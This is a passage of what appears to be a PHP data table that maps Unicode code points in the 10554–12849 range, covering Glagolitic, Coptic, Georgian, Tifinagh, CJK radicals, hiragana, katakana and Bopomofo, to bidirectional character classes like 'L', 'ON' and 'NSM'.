10554=>'ON', 10555=>'ON', 10556=>'ON', 10557=>'ON', 10558=>'ON', 10559=>'ON', 10560=>'ON', 10561=>'ON', 10562=>'ON', 10563=>'ON', 10564=>'ON', 10565=>'ON', 10566=>'ON', 10567=>'ON', 10568=>'ON', 10569=>'ON', 10570=>'ON', 10571=>'ON', 10572=>'ON', 10573=>'ON', 10574=>'ON', 10575=>'ON', 10576=>'ON', 10577=>'ON', 10578=>'ON', 10579=>'ON', 10580=>'ON', 10581=>'ON', 10582=>'ON', 10583=>'ON', 10584=>'ON', 10585=>'ON', 10586=>'ON', 10587=>'ON', 10588=>'ON', 10589=>'ON', 10590=>'ON', 10591=>'ON', 10592=>'ON', 10593=>'ON', 10594=>'ON', 10595=>'ON', 10596=>'ON', 10597=>'ON', 10598=>'ON', 10599=>'ON', 10600=>'ON', 10601=>'ON', 10602=>'ON', 10603=>'ON', 10604=>'ON', 10605=>'ON', 10606=>'ON', 10607=>'ON', 10608=>'ON', 10609=>'ON', 10610=>'ON', 10611=>'ON', 10612=>'ON', 10613=>'ON', 10614=>'ON', 10615=>'ON', 10616=>'ON', 10617=>'ON', 10618=>'ON', 10619=>'ON', 10620=>'ON', 10621=>'ON', 10622=>'ON', 10623=>'ON', 10624=>'ON', 10625=>'ON', 10626=>'ON', 10627=>'ON', 10628=>'ON', 10629=>'ON', 10630=>'ON', 10631=>'ON', 10632=>'ON', 10633=>'ON', 10634=>'ON', 10635=>'ON', 10636=>'ON', 10637=>'ON', 10638=>'ON', 10639=>'ON', 10640=>'ON', 10641=>'ON', 10642=>'ON', 10643=>'ON', 10644=>'ON', 10645=>'ON', 10646=>'ON', 10647=>'ON', 10648=>'ON', 10649=>'ON', 10650=>'ON', 10651=>'ON', 10652=>'ON', 10653=>'ON', 10654=>'ON', 10655=>'ON', 10656=>'ON', 10657=>'ON', 10658=>'ON', 10659=>'ON', 10660=>'ON', 10661=>'ON', 10662=>'ON', 10663=>'ON', 10664=>'ON', 10665=>'ON', 10666=>'ON', 10667=>'ON', 10668=>'ON', 10669=>'ON', 10670=>'ON', 10671=>'ON', 10672=>'ON', 10673=>'ON', 10674=>'ON', 10675=>'ON', 10676=>'ON', 10677=>'ON', 10678=>'ON', 10679=>'ON', 10680=>'ON', 10681=>'ON', 10682=>'ON', 10683=>'ON', 10684=>'ON', 10685=>'ON', 10686=>'ON', 10687=>'ON', 10688=>'ON', 10689=>'ON', 10690=>'ON', 10691=>'ON', 10692=>'ON', 10693=>'ON', 10694=>'ON', 10695=>'ON', 10696=>'ON', 10697=>'ON', 10698=>'ON', 10699=>'ON', 10700=>'ON', 10701=>'ON', 10702=>'ON', 10703=>'ON', 10704=>'ON', 10705=>'ON', 10706=>'ON', 10707=>'ON', 10708=>'ON', 10709=>'ON', 10710=>'ON', 10711=>'ON', 10712=>'ON', 10713=>'ON', 10714=>'ON', 10715=>'ON', 10716=>'ON', 10717=>'ON', 10718=>'ON', 10719=>'ON', 10720=>'ON', 10721=>'ON', 10722=>'ON', 10723=>'ON', 10724=>'ON', 10725=>'ON', 10726=>'ON', 10727=>'ON', 10728=>'ON', 10729=>'ON', 10730=>'ON', 10731=>'ON', 10732=>'ON', 10733=>'ON', 10734=>'ON', 10735=>'ON', 10736=>'ON', 10737=>'ON', 10738=>'ON', 10739=>'ON', 10740=>'ON', 10741=>'ON', 10742=>'ON', 10743=>'ON', 10744=>'ON', 10745=>'ON', 10746=>'ON', 10747=>'ON', 10748=>'ON', 10749=>'ON', 10750=>'ON', 10751=>'ON', 10752=>'ON', 10753=>'ON', 10754=>'ON', 10755=>'ON', 10756=>'ON', 10757=>'ON', 10758=>'ON', 10759=>'ON', 10760=>'ON', 10761=>'ON', 10762=>'ON', 10763=>'ON', 10764=>'ON', 10765=>'ON', 10766=>'ON', 10767=>'ON', 10768=>'ON', 10769=>'ON', 10770=>'ON', 10771=>'ON', 10772=>'ON', 10773=>'ON', 10774=>'ON', 10775=>'ON', 10776=>'ON', 10777=>'ON', 10778=>'ON', 10779=>'ON', 10780=>'ON', 10781=>'ON', 10782=>'ON', 10783=>'ON', 10784=>'ON', 10785=>'ON', 10786=>'ON', 10787=>'ON', 10788=>'ON', 10789=>'ON', 10790=>'ON', 10791=>'ON', 10792=>'ON', 10793=>'ON', 10794=>'ON', 10795=>'ON', 10796=>'ON', 10797=>'ON', 10798=>'ON', 10799=>'ON', 10800=>'ON', 10801=>'ON', 10802=>'ON', 10803=>'ON', 10804=>'ON', 10805=>'ON', 10806=>'ON', 10807=>'ON', 10808=>'ON', 10809=>'ON', 10810=>'ON', 10811=>'ON', 10812=>'ON', 10813=>'ON', 10814=>'ON', 10815=>'ON', 10816=>'ON', 10817=>'ON', 10818=>'ON', 10819=>'ON', 10820=>'ON', 10821=>'ON', 10822=>'ON', 10823=>'ON', 10824=>'ON', 10825=>'ON', 10826=>'ON', 10827=>'ON', 10828=>'ON', 10829=>'ON', 10830=>'ON', 10831=>'ON', 10832=>'ON', 10833=>'ON', 10834=>'ON', 10835=>'ON', 10836=>'ON', 10837=>'ON', 10838=>'ON', 10839=>'ON', 10840=>'ON', 10841=>'ON', 10842=>'ON', 10843=>'ON', 10844=>'ON', 10845=>'ON', 10846=>'ON', 10847=>'ON', 10848=>'ON', 10849=>'ON', 10850=>'ON', 10851=>'ON', 10852=>'ON', 10853=>'ON', 10854=>'ON', 10855=>'ON', 10856=>'ON', 10857=>'ON', 10858=>'ON', 10859=>'ON', 10860=>'ON', 10861=>'ON', 10862=>'ON', 10863=>'ON', 10864=>'ON', 10865=>'ON', 10866=>'ON', 10867=>'ON', 10868=>'ON', 10869=>'ON', 10870=>'ON', 10871=>'ON', 10872=>'ON', 10873=>'ON', 10874=>'ON', 10875=>'ON', 10876=>'ON', 10877=>'ON', 10878=>'ON', 10879=>'ON', 10880=>'ON', 10881=>'ON', 10882=>'ON', 10883=>'ON', 10884=>'ON', 10885=>'ON', 10886=>'ON', 10887=>'ON', 10888=>'ON', 10889=>'ON', 10890=>'ON', 10891=>'ON', 10892=>'ON', 10893=>'ON', 10894=>'ON', 10895=>'ON', 10896=>'ON', 10897=>'ON', 10898=>'ON', 10899=>'ON', 10900=>'ON', 10901=>'ON', 10902=>'ON', 10903=>'ON', 10904=>'ON', 10905=>'ON', 10906=>'ON', 10907=>'ON', 10908=>'ON', 10909=>'ON', 10910=>'ON', 10911=>'ON', 10912=>'ON', 10913=>'ON', 10914=>'ON', 10915=>'ON', 10916=>'ON', 10917=>'ON', 10918=>'ON', 10919=>'ON', 10920=>'ON', 10921=>'ON', 10922=>'ON', 10923=>'ON', 10924=>'ON', 10925=>'ON', 10926=>'ON', 10927=>'ON', 10928=>'ON', 10929=>'ON', 10930=>'ON', 10931=>'ON', 10932=>'ON', 10933=>'ON', 10934=>'ON', 10935=>'ON', 10936=>'ON', 10937=>'ON', 10938=>'ON', 10939=>'ON', 10940=>'ON', 10941=>'ON', 10942=>'ON', 10943=>'ON', 10944=>'ON', 10945=>'ON', 10946=>'ON', 10947=>'ON', 10948=>'ON', 10949=>'ON', 10950=>'ON', 10951=>'ON', 10952=>'ON', 10953=>'ON', 10954=>'ON', 10955=>'ON', 10956=>'ON', 10957=>'ON', 10958=>'ON', 10959=>'ON', 10960=>'ON', 10961=>'ON', 10962=>'ON', 10963=>'ON', 10964=>'ON', 10965=>'ON', 10966=>'ON', 10967=>'ON', 10968=>'ON', 10969=>'ON', 10970=>'ON', 10971=>'ON', 10972=>'ON', 10973=>'ON', 10974=>'ON', 10975=>'ON', 10976=>'ON', 10977=>'ON', 10978=>'ON', 10979=>'ON', 10980=>'ON', 10981=>'ON', 10982=>'ON', 10983=>'ON', 10984=>'ON', 10985=>'ON', 10986=>'ON', 10987=>'ON', 10988=>'ON', 10989=>'ON', 10990=>'ON', 10991=>'ON', 10992=>'ON', 10993=>'ON', 10994=>'ON', 10995=>'ON', 10996=>'ON', 10997=>'ON', 10998=>'ON', 10999=>'ON', 11000=>'ON', 11001=>'ON', 11002=>'ON', 11003=>'ON', 11004=>'ON', 11005=>'ON', 11006=>'ON', 11007=>'ON', 11008=>'ON', 11009=>'ON', 11010=>'ON', 11011=>'ON', 11012=>'ON', 11013=>'ON', 11014=>'ON', 11015=>'ON', 11016=>'ON', 11017=>'ON', 11018=>'ON', 11019=>'ON', 11020=>'ON', 11021=>'ON', 11022=>'ON', 11023=>'ON', 11024=>'ON', 11025=>'ON', 11026=>'ON', 11027=>'ON', 11028=>'ON', 11029=>'ON', 11030=>'ON', 11031=>'ON', 11032=>'ON', 11033=>'ON', 11034=>'ON', 11040=>'ON', 11041=>'ON', 11042=>'ON', 11043=>'ON', 11264=>'L', 11265=>'L', 11266=>'L', 11267=>'L', 11268=>'L', 11269=>'L', 11270=>'L', 11271=>'L', 11272=>'L', 11273=>'L', 11274=>'L', 11275=>'L', 11276=>'L', 11277=>'L', 11278=>'L', 11279=>'L', 11280=>'L', 11281=>'L', 11282=>'L', 11283=>'L', 11284=>'L', 11285=>'L', 11286=>'L', 11287=>'L', 11288=>'L', 11289=>'L', 11290=>'L', 11291=>'L', 11292=>'L', 11293=>'L', 11294=>'L', 11295=>'L', 11296=>'L', 11297=>'L', 11298=>'L', 11299=>'L', 11300=>'L', 11301=>'L', 11302=>'L', 11303=>'L', 11304=>'L', 11305=>'L', 11306=>'L', 11307=>'L', 11308=>'L', 11309=>'L', 11310=>'L', 11312=>'L', 11313=>'L', 11314=>'L', 11315=>'L', 11316=>'L', 11317=>'L', 11318=>'L', 11319=>'L', 11320=>'L', 11321=>'L', 11322=>'L', 11323=>'L', 11324=>'L', 11325=>'L', 11326=>'L', 11327=>'L', 11328=>'L', 11329=>'L', 11330=>'L', 11331=>'L', 11332=>'L', 11333=>'L', 11334=>'L', 11335=>'L', 11336=>'L', 11337=>'L', 11338=>'L', 11339=>'L', 11340=>'L', 11341=>'L', 11342=>'L', 11343=>'L', 11344=>'L', 11345=>'L', 11346=>'L', 11347=>'L', 11348=>'L', 11349=>'L', 11350=>'L', 11351=>'L', 11352=>'L', 11353=>'L', 11354=>'L', 11355=>'L', 11356=>'L', 11357=>'L', 11358=>'L', 11360=>'L', 11361=>'L', 11362=>'L', 11363=>'L', 11364=>'L', 11365=>'L', 11366=>'L', 11367=>'L', 11368=>'L', 11369=>'L', 11370=>'L', 11371=>'L', 11372=>'L', 11380=>'L', 11381=>'L', 11382=>'L', 11383=>'L', 11392=>'L', 11393=>'L', 11394=>'L', 11395=>'L', 11396=>'L', 11397=>'L', 11398=>'L', 11399=>'L', 11400=>'L', 11401=>'L', 11402=>'L', 11403=>'L', 11404=>'L', 11405=>'L', 11406=>'L', 11407=>'L', 11408=>'L', 11409=>'L', 11410=>'L', 11411=>'L', 11412=>'L', 11413=>'L', 11414=>'L', 11415=>'L', 11416=>'L', 11417=>'L', 11418=>'L', 11419=>'L', 11420=>'L', 11421=>'L', 11422=>'L', 11423=>'L', 11424=>'L', 11425=>'L', 11426=>'L', 11427=>'L', 11428=>'L', 11429=>'L', 11430=>'L', 11431=>'L', 11432=>'L', 11433=>'L', 11434=>'L', 11435=>'L', 11436=>'L', 11437=>'L', 11438=>'L', 11439=>'L', 11440=>'L', 11441=>'L', 11442=>'L', 11443=>'L', 11444=>'L', 11445=>'L', 11446=>'L', 11447=>'L', 11448=>'L', 11449=>'L', 11450=>'L', 11451=>'L', 11452=>'L', 11453=>'L', 11454=>'L', 11455=>'L', 11456=>'L', 11457=>'L', 11458=>'L', 11459=>'L', 11460=>'L', 11461=>'L', 11462=>'L', 11463=>'L', 11464=>'L', 11465=>'L', 11466=>'L', 11467=>'L', 11468=>'L', 11469=>'L', 11470=>'L', 11471=>'L', 11472=>'L', 11473=>'L', 11474=>'L', 11475=>'L', 11476=>'L', 11477=>'L', 11478=>'L', 11479=>'L', 11480=>'L', 11481=>'L', 11482=>'L', 11483=>'L', 11484=>'L', 11485=>'L', 11486=>'L', 11487=>'L', 11488=>'L', 11489=>'L', 11490=>'L', 11491=>'L', 11492=>'L', 11493=>'ON', 11494=>'ON', 11495=>'ON', 11496=>'ON', 11497=>'ON', 11498=>'ON', 11513=>'ON', 11514=>'ON', 11515=>'ON', 11516=>'ON', 11517=>'ON', 11518=>'ON', 11519=>'ON', 11520=>'L', 11521=>'L', 11522=>'L', 11523=>'L', 11524=>'L', 11525=>'L', 11526=>'L', 11527=>'L', 11528=>'L', 11529=>'L', 11530=>'L', 11531=>'L', 11532=>'L', 11533=>'L', 11534=>'L', 11535=>'L', 11536=>'L', 11537=>'L', 11538=>'L', 11539=>'L', 11540=>'L', 11541=>'L', 11542=>'L', 11543=>'L', 11544=>'L', 11545=>'L', 11546=>'L', 11547=>'L', 11548=>'L', 11549=>'L', 11550=>'L', 11551=>'L', 11552=>'L', 11553=>'L', 11554=>'L', 11555=>'L', 11556=>'L', 11557=>'L', 11568=>'L', 11569=>'L', 11570=>'L', 11571=>'L', 11572=>'L', 11573=>'L', 11574=>'L', 11575=>'L', 11576=>'L', 11577=>'L', 11578=>'L', 11579=>'L', 11580=>'L', 11581=>'L', 11582=>'L', 11583=>'L', 11584=>'L', 11585=>'L', 11586=>'L', 11587=>'L', 11588=>'L', 11589=>'L', 11590=>'L', 11591=>'L', 11592=>'L', 11593=>'L', 11594=>'L', 11595=>'L', 11596=>'L', 11597=>'L', 11598=>'L', 11599=>'L', 11600=>'L', 11601=>'L', 11602=>'L', 11603=>'L', 11604=>'L', 11605=>'L', 11606=>'L', 11607=>'L', 11608=>'L', 11609=>'L', 11610=>'L', 11611=>'L', 11612=>'L', 11613=>'L', 11614=>'L', 11615=>'L', 11616=>'L', 11617=>'L', 11618=>'L', 11619=>'L', 11620=>'L', 11621=>'L', 11631=>'L', 11648=>'L', 11649=>'L', 11650=>'L', 11651=>'L', 11652=>'L', 11653=>'L', 11654=>'L', 11655=>'L', 11656=>'L', 11657=>'L', 11658=>'L', 11659=>'L', 11660=>'L', 11661=>'L', 11662=>'L', 11663=>'L', 11664=>'L', 11665=>'L', 11666=>'L', 11667=>'L', 11668=>'L', 11669=>'L', 11670=>'L', 11680=>'L', 11681=>'L', 11682=>'L', 11683=>'L', 11684=>'L', 11685=>'L', 11686=>'L', 11688=>'L', 11689=>'L', 11690=>'L', 11691=>'L', 11692=>'L', 11693=>'L', 11694=>'L', 11696=>'L', 11697=>'L', 11698=>'L', 11699=>'L', 11700=>'L', 11701=>'L', 11702=>'L', 11704=>'L', 11705=>'L', 11706=>'L', 11707=>'L', 11708=>'L', 11709=>'L', 11710=>'L', 11712=>'L', 11713=>'L', 11714=>'L', 11715=>'L', 11716=>'L', 11717=>'L', 11718=>'L', 11720=>'L', 11721=>'L', 11722=>'L', 11723=>'L', 11724=>'L', 11725=>'L', 11726=>'L', 11728=>'L', 11729=>'L', 11730=>'L', 11731=>'L', 11732=>'L', 11733=>'L', 11734=>'L', 11736=>'L', 11737=>'L', 11738=>'L', 11739=>'L', 11740=>'L', 11741=>'L', 11742=>'L', 11776=>'ON', 11777=>'ON', 11778=>'ON', 11779=>'ON', 11780=>'ON', 11781=>'ON', 11782=>'ON', 11783=>'ON', 11784=>'ON', 11785=>'ON', 11786=>'ON', 11787=>'ON', 11788=>'ON', 11789=>'ON', 11790=>'ON', 11791=>'ON', 11792=>'ON', 11793=>'ON', 11794=>'ON', 11795=>'ON', 11796=>'ON', 11797=>'ON', 11798=>'ON', 11799=>'ON', 11804=>'ON', 11805=>'ON', 11904=>'ON', 11905=>'ON', 11906=>'ON', 11907=>'ON', 11908=>'ON', 11909=>'ON', 11910=>'ON', 11911=>'ON', 11912=>'ON', 11913=>'ON', 11914=>'ON', 11915=>'ON', 11916=>'ON', 11917=>'ON', 11918=>'ON', 11919=>'ON', 11920=>'ON', 11921=>'ON', 11922=>'ON', 11923=>'ON', 11924=>'ON', 11925=>'ON', 11926=>'ON', 11927=>'ON', 11928=>'ON', 11929=>'ON', 11931=>'ON', 11932=>'ON', 11933=>'ON', 11934=>'ON', 11935=>'ON', 11936=>'ON', 11937=>'ON', 11938=>'ON', 11939=>'ON', 11940=>'ON', 11941=>'ON', 11942=>'ON', 11943=>'ON', 11944=>'ON', 11945=>'ON', 11946=>'ON', 11947=>'ON', 11948=>'ON', 11949=>'ON', 11950=>'ON', 11951=>'ON', 11952=>'ON', 11953=>'ON', 11954=>'ON', 11955=>'ON', 11956=>'ON', 11957=>'ON', 11958=>'ON', 11959=>'ON', 11960=>'ON', 11961=>'ON', 11962=>'ON', 11963=>'ON', 11964=>'ON', 11965=>'ON', 11966=>'ON', 11967=>'ON', 11968=>'ON', 11969=>'ON', 11970=>'ON', 11971=>'ON', 11972=>'ON', 11973=>'ON', 11974=>'ON', 11975=>'ON', 11976=>'ON', 11977=>'ON', 11978=>'ON', 11979=>'ON', 11980=>'ON', 11981=>'ON', 11982=>'ON', 11983=>'ON', 11984=>'ON', 11985=>'ON', 11986=>'ON', 11987=>'ON', 11988=>'ON', 11989=>'ON', 11990=>'ON', 11991=>'ON', 11992=>'ON', 11993=>'ON', 11994=>'ON', 11995=>'ON', 11996=>'ON', 11997=>'ON', 11998=>'ON', 11999=>'ON', 12000=>'ON', 12001=>'ON', 12002=>'ON', 12003=>'ON', 12004=>'ON', 12005=>'ON', 12006=>'ON', 12007=>'ON', 12008=>'ON', 12009=>'ON', 12010=>'ON', 12011=>'ON', 12012=>'ON', 12013=>'ON', 12014=>'ON', 12015=>'ON', 12016=>'ON', 12017=>'ON', 12018=>'ON', 12019=>'ON', 12032=>'ON', 12033=>'ON', 12034=>'ON', 12035=>'ON', 12036=>'ON', 12037=>'ON', 12038=>'ON', 12039=>'ON', 12040=>'ON', 12041=>'ON', 12042=>'ON', 12043=>'ON', 12044=>'ON', 12045=>'ON', 12046=>'ON', 12047=>'ON', 12048=>'ON', 12049=>'ON', 12050=>'ON', 12051=>'ON', 12052=>'ON', 12053=>'ON', 12054=>'ON', 12055=>'ON', 12056=>'ON', 12057=>'ON', 12058=>'ON', 12059=>'ON', 12060=>'ON', 12061=>'ON', 12062=>'ON', 12063=>'ON', 12064=>'ON', 12065=>'ON', 12066=>'ON', 12067=>'ON', 12068=>'ON', 12069=>'ON', 12070=>'ON', 12071=>'ON', 12072=>'ON', 12073=>'ON', 12074=>'ON', 12075=>'ON', 12076=>'ON', 12077=>'ON', 12078=>'ON', 12079=>'ON', 12080=>'ON', 12081=>'ON', 12082=>'ON', 12083=>'ON', 12084=>'ON', 12085=>'ON', 12086=>'ON', 12087=>'ON', 12088=>'ON', 12089=>'ON', 12090=>'ON', 12091=>'ON', 12092=>'ON', 12093=>'ON', 12094=>'ON', 12095=>'ON', 12096=>'ON', 12097=>'ON', 12098=>'ON', 12099=>'ON', 12100=>'ON', 12101=>'ON', 12102=>'ON', 12103=>'ON', 12104=>'ON', 12105=>'ON', 12106=>'ON', 12107=>'ON', 12108=>'ON', 12109=>'ON', 12110=>'ON', 12111=>'ON', 12112=>'ON', 12113=>'ON', 12114=>'ON', 12115=>'ON', 12116=>'ON', 12117=>'ON', 12118=>'ON', 12119=>'ON', 12120=>'ON', 12121=>'ON', 12122=>'ON', 12123=>'ON', 12124=>'ON', 12125=>'ON', 12126=>'ON', 12127=>'ON', 12128=>'ON', 12129=>'ON', 12130=>'ON', 12131=>'ON', 12132=>'ON', 12133=>'ON', 12134=>'ON', 12135=>'ON', 12136=>'ON', 12137=>'ON', 12138=>'ON', 12139=>'ON', 12140=>'ON', 12141=>'ON', 12142=>'ON', 12143=>'ON', 12144=>'ON', 12145=>'ON', 12146=>'ON', 12147=>'ON', 12148=>'ON', 12149=>'ON', 12150=>'ON', 12151=>'ON', 12152=>'ON', 12153=>'ON', 12154=>'ON', 12155=>'ON', 12156=>'ON', 12157=>'ON', 12158=>'ON', 12159=>'ON', 12160=>'ON', 12161=>'ON', 12162=>'ON', 12163=>'ON', 12164=>'ON', 12165=>'ON', 12166=>'ON', 12167=>'ON', 12168=>'ON', 12169=>'ON', 12170=>'ON', 12171=>'ON', 12172=>'ON', 12173=>'ON', 12174=>'ON', 12175=>'ON', 12176=>'ON', 12177=>'ON', 12178=>'ON', 12179=>'ON', 12180=>'ON', 12181=>'ON', 12182=>'ON', 12183=>'ON', 12184=>'ON', 12185=>'ON', 12186=>'ON', 12187=>'ON', 12188=>'ON', 12189=>'ON', 12190=>'ON', 12191=>'ON', 12192=>'ON', 12193=>'ON', 12194=>'ON', 12195=>'ON', 12196=>'ON', 12197=>'ON', 12198=>'ON', 12199=>'ON', 12200=>'ON', 12201=>'ON', 12202=>'ON', 12203=>'ON', 12204=>'ON', 12205=>'ON', 12206=>'ON', 12207=>'ON', 12208=>'ON', 12209=>'ON', 12210=>'ON', 12211=>'ON', 12212=>'ON', 12213=>'ON', 12214=>'ON', 12215=>'ON', 12216=>'ON', 12217=>'ON', 12218=>'ON', 12219=>'ON', 12220=>'ON', 12221=>'ON', 12222=>'ON', 12223=>'ON', 12224=>'ON', 12225=>'ON', 12226=>'ON', 12227=>'ON', 12228=>'ON', 12229=>'ON', 12230=>'ON', 12231=>'ON', 12232=>'ON', 12233=>'ON', 12234=>'ON', 12235=>'ON', 12236=>'ON', 12237=>'ON', 12238=>'ON', 12239=>'ON', 12240=>'ON', 12241=>'ON', 12242=>'ON', 12243=>'ON', 12244=>'ON', 12245=>'ON', 12272=>'ON', 12273=>'ON', 12274=>'ON', 12275=>'ON', 12276=>'ON', 12277=>'ON', 12278=>'ON', 12279=>'ON', 12280=>'ON', 12281=>'ON', 12282=>'ON', 12283=>'ON', 12288=>'WS', 12289=>'ON', 12290=>'ON', 12291=>'ON', 12292=>'ON', 12293=>'L', 12294=>'L', 12295=>'L', 12296=>'ON', 12297=>'ON', 12298=>'ON', 12299=>'ON', 12300=>'ON', 12301=>'ON', 12302=>'ON', 12303=>'ON', 12304=>'ON', 12305=>'ON', 12306=>'ON', 12307=>'ON', 12308=>'ON', 12309=>'ON', 12310=>'ON', 12311=>'ON', 12312=>'ON', 12313=>'ON', 12314=>'ON', 12315=>'ON', 12316=>'ON', 12317=>'ON', 12318=>'ON', 12319=>'ON', 12320=>'ON', 12321=>'L', 12322=>'L', 12323=>'L', 12324=>'L', 12325=>'L', 12326=>'L', 12327=>'L', 12328=>'L', 12329=>'L', 12330=>'NSM', 12331=>'NSM', 12332=>'NSM', 12333=>'NSM', 12334=>'NSM', 12335=>'NSM', 12336=>'ON', 12337=>'L', 12338=>'L', 12339=>'L', 12340=>'L', 12341=>'L', 12342=>'ON', 12343=>'ON', 12344=>'L', 12345=>'L', 12346=>'L', 12347=>'L', 12348=>'L', 12349=>'ON', 12350=>'ON', 12351=>'ON', 12353=>'L', 12354=>'L', 12355=>'L', 12356=>'L', 12357=>'L', 12358=>'L', 12359=>'L', 12360=>'L', 12361=>'L', 12362=>'L', 12363=>'L', 12364=>'L', 12365=>'L', 12366=>'L', 12367=>'L', 12368=>'L', 12369=>'L', 12370=>'L', 12371=>'L', 12372=>'L', 12373=>'L', 12374=>'L', 12375=>'L', 12376=>'L', 12377=>'L', 12378=>'L', 12379=>'L', 12380=>'L', 12381=>'L', 12382=>'L', 12383=>'L', 12384=>'L', 12385=>'L', 12386=>'L', 12387=>'L', 12388=>'L', 12389=>'L', 12390=>'L', 12391=>'L', 12392=>'L', 12393=>'L', 12394=>'L', 12395=>'L', 12396=>'L', 12397=>'L', 12398=>'L', 12399=>'L', 12400=>'L', 12401=>'L', 12402=>'L', 12403=>'L', 12404=>'L', 12405=>'L', 12406=>'L', 12407=>'L', 12408=>'L', 12409=>'L', 12410=>'L', 12411=>'L', 12412=>'L', 12413=>'L', 12414=>'L', 12415=>'L', 12416=>'L', 12417=>'L', 12418=>'L', 12419=>'L', 12420=>'L', 12421=>'L', 12422=>'L', 12423=>'L', 12424=>'L', 12425=>'L', 12426=>'L', 12427=>'L', 12428=>'L', 12429=>'L', 12430=>'L', 12431=>'L', 12432=>'L', 12433=>'L', 12434=>'L', 12435=>'L', 12436=>'L', 12437=>'L', 12438=>'L', 12441=>'NSM', 12442=>'NSM', 12443=>'ON', 12444=>'ON', 12445=>'L', 12446=>'L', 12447=>'L', 12448=>'ON', 12449=>'L', 12450=>'L', 12451=>'L', 12452=>'L', 12453=>'L', 12454=>'L', 12455=>'L', 12456=>'L', 12457=>'L', 12458=>'L', 12459=>'L', 12460=>'L', 12461=>'L', 12462=>'L', 12463=>'L', 12464=>'L', 12465=>'L', 12466=>'L', 12467=>'L', 12468=>'L', 12469=>'L', 12470=>'L', 12471=>'L', 12472=>'L', 12473=>'L', 12474=>'L', 12475=>'L', 12476=>'L', 12477=>'L', 12478=>'L', 12479=>'L', 12480=>'L', 12481=>'L', 12482=>'L', 12483=>'L', 12484=>'L', 12485=>'L', 12486=>'L', 12487=>'L', 12488=>'L', 12489=>'L', 12490=>'L', 12491=>'L', 12492=>'L', 12493=>'L', 12494=>'L', 12495=>'L', 12496=>'L', 12497=>'L', 12498=>'L', 12499=>'L', 12500=>'L', 12501=>'L', 12502=>'L', 12503=>'L', 12504=>'L', 12505=>'L', 12506=>'L', 12507=>'L', 12508=>'L', 12509=>'L', 12510=>'L', 12511=>'L', 12512=>'L', 12513=>'L', 12514=>'L', 12515=>'L', 12516=>'L', 12517=>'L', 12518=>'L', 12519=>'L', 12520=>'L', 12521=>'L', 12522=>'L', 12523=>'L', 12524=>'L', 12525=>'L', 12526=>'L', 12527=>'L', 12528=>'L', 12529=>'L', 12530=>'L', 12531=>'L', 12532=>'L', 12533=>'L', 12534=>'L', 12535=>'L', 12536=>'L', 12537=>'L', 12538=>'L', 12539=>'ON', 12540=>'L', 12541=>'L', 12542=>'L', 12543=>'L', 12549=>'L', 12550=>'L', 12551=>'L', 12552=>'L', 12553=>'L', 12554=>'L', 12555=>'L', 12556=>'L', 12557=>'L', 12558=>'L', 12559=>'L', 12560=>'L', 12561=>'L', 12562=>'L', 12563=>'L', 12564=>'L', 12565=>'L', 12566=>'L', 12567=>'L', 12568=>'L', 12569=>'L', 12570=>'L', 12571=>'L', 12572=>'L', 12573=>'L', 12574=>'L', 12575=>'L', 12576=>'L', 12577=>'L', 12578=>'L', 12579=>'L', 12580=>'L', 12581=>'L', 12582=>'L', 12583=>'L', 12584=>'L', 12585=>'L', 12586=>'L', 12587=>'L', 12588=>'L', 12593=>'L', 12594=>'L', 12595=>'L', 12596=>'L', 12597=>'L', 12598=>'L', 12599=>'L', 12600=>'L', 12601=>'L', 12602=>'L', 12603=>'L', 12604=>'L', 12605=>'L', 12606=>'L', 12607=>'L', 12608=>'L', 12609=>'L', 12610=>'L', 12611=>'L', 12612=>'L', 12613=>'L', 12614=>'L', 12615=>'L', 12616=>'L', 12617=>'L', 12618=>'L', 12619=>'L', 12620=>'L', 12621=>'L', 12622=>'L', 12623=>'L', 12624=>'L', 12625=>'L', 12626=>'L', 12627=>'L', 12628=>'L', 12629=>'L', 12630=>'L', 12631=>'L', 12632=>'L', 12633=>'L', 12634=>'L', 12635=>'L', 12636=>'L', 12637=>'L', 12638=>'L', 12639=>'L', 12640=>'L', 12641=>'L', 12642=>'L', 12643=>'L', 12644=>'L', 12645=>'L', 12646=>'L', 12647=>'L', 12648=>'L', 12649=>'L', 12650=>'L', 12651=>'L', 12652=>'L', 12653=>'L', 12654=>'L', 12655=>'L', 12656=>'L', 12657=>'L', 12658=>'L', 12659=>'L', 12660=>'L', 12661=>'L', 12662=>'L', 12663=>'L', 12664=>'L', 12665=>'L', 12666=>'L', 12667=>'L', 12668=>'L', 12669=>'L', 12670=>'L', 12671=>'L', 12672=>'L', 12673=>'L', 12674=>'L', 12675=>'L', 12676=>'L', 12677=>'L', 12678=>'L', 12679=>'L', 12680=>'L', 12681=>'L', 12682=>'L', 12683=>'L', 12684=>'L', 12685=>'L', 12686=>'L', 12688=>'L', 12689=>'L', 12690=>'L', 12691=>'L', 12692=>'L', 12693=>'L', 12694=>'L', 12695=>'L', 12696=>'L', 12697=>'L', 12698=>'L', 12699=>'L', 12700=>'L', 12701=>'L', 12702=>'L', 12703=>'L', 12704=>'L', 12705=>'L', 12706=>'L', 12707=>'L', 12708=>'L', 12709=>'L', 12710=>'L', 12711=>'L', 12712=>'L', 12713=>'L', 12714=>'L', 12715=>'L', 12716=>'L', 12717=>'L', 12718=>'L', 12719=>'L', 12720=>'L', 12721=>'L', 12722=>'L', 12723=>'L', 12724=>'L', 12725=>'L', 12726=>'L', 12727=>'L', 12736=>'ON', 12737=>'ON', 12738=>'ON', 12739=>'ON', 12740=>'ON', 12741=>'ON', 12742=>'ON', 12743=>'ON', 12744=>'ON', 12745=>'ON', 12746=>'ON', 12747=>'ON', 12748=>'ON', 12749=>'ON', 12750=>'ON', 12751=>'ON', 12784=>'L', 12785=>'L', 12786=>'L', 12787=>'L', 12788=>'L', 12789=>'L', 12790=>'L', 12791=>'L', 12792=>'L', 12793=>'L', 12794=>'L', 12795=>'L', 12796=>'L', 12797=>'L', 12798=>'L', 12799=>'L', 12800=>'L', 12801=>'L', 12802=>'L', 12803=>'L', 12804=>'L', 12805=>'L', 12806=>'L', 12807=>'L', 12808=>'L', 12809=>'L', 12810=>'L', 12811=>'L', 12812=>'L', 12813=>'L', 12814=>'L', 12815=>'L', 12816=>'L', 12817=>'L', 12818=>'L', 12819=>'L', 12820=>'L', 12821=>'L', 12822=>'L', 12823=>'L', 12824=>'L', 12825=>'L', 12826=>'L', 12827=>'L', 12828=>'L', 12829=>'ON', 12830=>'ON', 12832=>'L', 12833=>'L', 12834=>'L', 12835=>'L', 12836=>'L', 12837=>'L', 12838=>'L', 12839=>'L', 12840=>'L', 12841=>'L', 12842=>'L', 12843=>'L', 12844=>'L', 12845=>'L', 12846=>'L', 12847=>'L', 12848=>'L', 12849=>'L', 